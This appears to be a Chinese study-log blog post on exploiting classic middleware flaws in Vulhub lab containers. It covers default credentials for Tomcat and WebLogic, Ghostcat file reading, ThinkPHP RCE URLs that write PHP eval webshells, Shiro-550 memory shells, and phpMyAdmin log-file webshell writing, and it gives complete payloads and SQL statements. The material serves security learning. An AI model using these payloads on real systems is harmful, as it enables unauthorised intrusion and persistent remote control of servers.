第 8 天
· 阅读需 4 分钟
提示
基于 Vulhub 漏洞环境平台,实战演练经典中间件漏洞。本篇详细介绍 Docker 文件描述符限制的解决方法,深入解析 Tomcat 默认弱口令与 Ghostcat AJP 文件包含漏洞的利用流程,以及 WebLogic 控制台的弱口令渗透测试,通过真实漏洞环境积累实战经验。
Vulhub
docker compose up -d启动某漏洞环境报错

- 对 docker 永久调整
ulimit -n对应的文件描述符数量
{
"default-ulimits": {
"nofile": {
"Name": "nofile",
"Soft": 65535,
"Hard": 65535
}
}
}
- 使用
docker compose down -v删除容器, 重新创建
Tomcat
弱口令
- 登录
http://your-ip:8080/manager/html上传war包, 用户名密码为tomcat/tomcat
Ghostcat 漏洞
- 下载 python 测试脚本
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.30.129 -p 8009 -f WEB-INF/web.xml读取到敏感文件
weblogic
弱口令
- 访问
http://your-ip:7001/console进入WebLogic管理控制台 - 默认用户名
weblogic和密码Oracle@123


- 将
webshell打成war包
cd myapp/
jar -cvf myapp *
- 部署到
weblogic, 后续步骤全部默认 - 成功连接上传的 webshell,
weblogic的默认 http 端口是7001, https 端口是7002

RCE漏洞

ThinkPHP
2.0/3.0 版本
1. 测试 rce 漏洞
- 输入
http://your-ip:8080/index.php?s=/a/b/c/${@phpinfo()}查看是否正常输出
2. 获取 shell
- 构造payload
http://your-ip:8080/index.php?s=/a/b/name/${@eval($_GET[x])}&x=file_put_contents('1.php','<?php @eval($_POST['cmd']);?>');echo 'Success';die();
备注
;一个都不能少, 必须是完整php语句, 否则会语法错误http协议参数是纯文本, 无关x参数有几个php语句
3. 连接 shell
- 由于web用户对所有目录有读权限, web目录以外只能以只读形式查看敏感内容

4. 原理
- PHP < 5.5 中 preg_replace 函数支持 /e 修饰符。当正则匹配成功时, 会将替换字符串作为 PHP 代码进行执行
- 解析路径参数时, 用到下面语句
// $paths 是用户传入的 PATHINFO
$res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', $paths);
5.0 版本
1. 测试 rce 漏洞
- 构造
http://your-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2. 写入 shell
- WEB 根目录通常在
/var/www/public下 - 构造
http://your-ip:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php @eval($_POST['cmd']);?>' > /var/www/public/1.php
3. 连接 shell
- 使用特斯拉成功连接

4. 原理
- ThinkPHP 5 标准路由格式为
http://target/index.php?s=模块/控制器/操作 (Module/Controller/Action) - 未验证 Controller 是哪个类
\think\app类的方法invokefunction()底层调用了反射
Shiro
Shiro-550 (CVE-2016-4437)
1. 指纹探测
- cookie 中带有
rememberMe=deleteMe

2. ShiroAttack2
- 工具爆破出 AES 密钥
- 使用可用的利用链如
CommonsCollections等 - 反序列化用户对象 -> AES 加密 -> Base64编码

3. 漏洞利用
- 注入内存马

- 使用蚁剑连接

phpMyAdmin
CVE-2018-12613
1. 文件包含漏洞

2. 改日志路径
- 日志路径修改到 Web 目录
SET GLOBAL general_log_file='/var/www/html/1.php';
- 开启全局日志功能
SET GLOBAL general_log='ON';
- shell 写入日志
SELECT '<?php @eval($_POST['cmd']);?>';
- 访问日志路径
http://your-ip:8080/1.php, php 引擎会加载日志
信息
由于 os 目录用户权限设置, 无法上传 shell, 利用失败。
学习到以下内容:
自己上传的 shell, 不经过框架, 无需 token 就可直连; 而文件包含是利用框架的路径, 会经过框架的 csrf 验证, 所以只有携带合法 token 才能连接上; GET 请求只读, 永远不用验证 token。